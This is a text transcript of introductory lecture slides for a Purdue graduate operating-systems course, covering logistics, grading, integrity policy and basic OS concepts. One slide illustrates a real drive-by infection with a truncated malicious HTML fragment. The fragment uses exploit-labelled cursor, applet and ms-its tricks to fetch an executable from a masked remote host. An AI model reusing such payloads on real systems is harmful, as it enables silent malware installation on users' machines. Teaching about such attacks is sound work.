Introduction - Purdue University
Download
Report
Transcript Introduction - Purdue University
CS503: Operating Systems
Spring 2014
Dongyan Xu
Department of Computer Science
Purdue University
1
General Information
• Web Page:
http://www.cs.purdue.edu/homes/cs503
• Textbook:
– Douglas Comer, Operating System Design, The
Xinu Approach (Linksys version)
• Lab platform:
– Xinu on Linksys router (MIPS ISA)
– Xinu on x86 virtual machine
2
Staff
• Dongyan Xu (7th time teaching CS354)
– Ph.D. University of Illinois at Urbana-Champaign
– Prof. (2013-present), Assoc. Prof. (2007-13),
Assist. Prof. (2001-2007)
– Research:
•
•
•
•
Virtualization (VMware, Xen, KVM…)
Malware (rootkits, botnets, APTs…) defense
Cloud computing
Binary reverse engineering
• Office hours (Tue. 3pm-5pm, LWSN1173)
3
Staff
• Teaching Assistants
– Liang Li
– Bo Sang
• Office hours to be announced
4
On-line Discussion Venue: Piazza
• Please join by accessing:
– https://piazza.com/purdue/fall2013/cs503
• All announcements will be posted there
• Discussion on labs
• It is your responsibility to check for official
announcements, clarification of lab specification,
and answers to lab-related questions.
• But grades will still be posted on Blackboard
Learn
– http://www.itap.purdue.edu/learning/tools/blackboard/
5
PSOs
• There are no PSO sessions this week and next
week
• The labs will be explained in PSOs.
• Attendance is not mandatory (but encouraged)
6
Grading
• Grade breakdown:
–
–
–
–
Midterm:
Final:
Labs:
Paper reviews:
20%
25%
45%
10% (5-6 papers)
7
Late/Grading Policies
• Check Blackboard Learn for grade posting
• Late policy for labs
– No late submission accepted, but you will have 4
non-emergency Bonus Days (penalty-free)
• Labs will be done individually
– General discussion allowed
– Must be on your own when coding starts
8
Re-Grading Policy
• You have 2 weeks (after the grade for a
lab/quiz/exam is released) to request for regrading
• Re-grading requests for exams need to be in
writing
• After the re-grading period, no re-grading
request will be honored.
9
Academic Integrity Policy
• Academic integrity: lifeline in academia
• Your labs, exams, and paper reviews must be
your own - we have a zero tolerance policy
towards cheating of any kind and any student
who cheats will get
– Zero for the project/quiz/exam at first offense
– F grade for the course thereafter
• Both the cheater and the person(s) who aided
the cheater will be held responsible for the
cheating
10
Lecture Format
• Help you understand important and hard OS
concepts, design, and implementation
• Lectures do not cover everything
– Not all questions in exams are from lectures
– But many of them are
• Your responsibility
–
–
–
–
–
Attend lectures
Read code, textbook, lecture notes, assigned papers
Labs, exams
Periodically check web page
Read/participate in Piazza discussion
11
Course Organization
1.
2.
3.
4.
5.
6.
7.
8.
OS overview
Computer architecture overview
Processes scheduling and management
Process synchronization
Memory management
Interrupt processing
Device drivers
File system
12
Pre-requisite
• Undergraduate OS and architecture
• C programming proficiency
13
Introduction
1. SABRE (IBM, 1964). The descendent of the Air Force’s
fabled SAGE program, SABRE solved a problem for which
computers were ideally suited: airline reservations. Just-intime inventory tracking, real-time data management,
distributed enterprise systems? SABRE and American
Airlines were there first.
• A computer system consists of
– Hardware
– System programs
– Application programs
14
Interfacing with Operating System
What is an Operating System (OS)
• It is a system program that sits between
hardware and application programs.
• The program starts running at boot time.
• Who boots up the OS?
– BIOS self-check -> determining boot device ->
first sector loaded and executed -> partitionspecific boot loader loaded and executed -> OS
loaded and executed
16
What does an OS do?
• “To serve and to protect”
• It offers services that are common to all
applications:
– Program execution, printing, windowing, file
access, resource allocation
• It enables multitasking
– Allows multiple processes running at the same
time
• It offers protection/security.
– E.g., a user cannot see files of other users.
17
(Lack of) OS Security
• Malware
– Botnets
– Worms
• Why do they spread so quickly?
– Spyware, keylogger, identity theft, blackmail…
GREETINGS FROM GENERAL ENCRYPTION!
TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE
SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY,
PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
18
A Real Incident
• Upon Clicking a malicious URL
– http://xxx.9x.xx8.8x/users/xxxx/xxx/la
xx/z.html
<html><head><title></title></head><body>
MS05-002
<style>
* {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")}
</style>
MS03-011
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1
HEIGHT=1>
<PARAM NAME='url'
VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET>
<script>
MS04-013
22
try{
document.write('<object
data=`ms-its:
mhtml:file:
unwanted//C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+
programs installed without user’s consent!
19
What does an operating system offer?
– Reliability
• Each program runs inside a “sandbox”. If the
process does something wrong like writing to an
invalid memory, it will receive a notification.
Processes will not get out of the sandbox. The OS
continues running.
– Fairness
• access to resources has to be fair across users
with the same priority.
– Support for multiple users
• It allows running multiple users in the same
machine simultaneously.
20
The Operating System Zoo
•
•
•
•
•
•
•
•
•
•
Mainframe OS
Server OS
Multiprocessor OS
Personal computer OS
Real-time OS
Embedded OS
Smartphone OS
Browser OS
Cloud OS
OS for OSes (hypervisors)
21
Windows 8
22
Android
23
Android Platform
http://code.google.com/android/
• The first complete, open, and free mobile platform
24
Wireless Sensor Nodes
25
Blue Gene/L Supercomputer
26
Blue Gene/L OS
27
Summary
•
•
•
•
Course overview
Policy and requirement
What is OS?
OS history
• Coming up next:
– Review of computer architecture and program
structure
28